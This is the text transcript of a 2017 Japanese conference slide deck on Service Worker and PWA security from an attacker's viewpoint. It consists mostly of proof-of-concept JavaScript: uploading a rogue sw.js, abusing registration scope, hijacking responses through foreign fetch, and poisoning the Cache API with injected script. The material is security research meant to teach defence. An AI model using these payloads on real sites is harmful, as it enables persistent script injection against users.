Upgrade to Pro — share decks privately, control downloads, hide ads and more …

攻撃者視点で見る Service Worker / PWA Study SW

攻撃者視点で見る Service Worker / PWA Study SW

PWA Study( https://web-study.connpass.com/event/65267/ ) で発表した資料です。

Masato Kinugawa

September 14, 2017
Tweet

More Decks by Masato Kinugawa

Other Decks in Technology

Transcript

  1. <script> var formData = new FormData(); formData.append("csrf_token", "secret"); var sw

    = "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */); </script>
  2. • • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope:

    "/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}
  3. self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// });

    }); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }
  4. onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response)

    { if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };
  5. <script> caches.open("v1").then(function(cache){ content = "<script>alert(1)</script>"; init = {headers: {"content-type": "text/html"}};

    request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); }) </script>
  6. GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control:

    no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6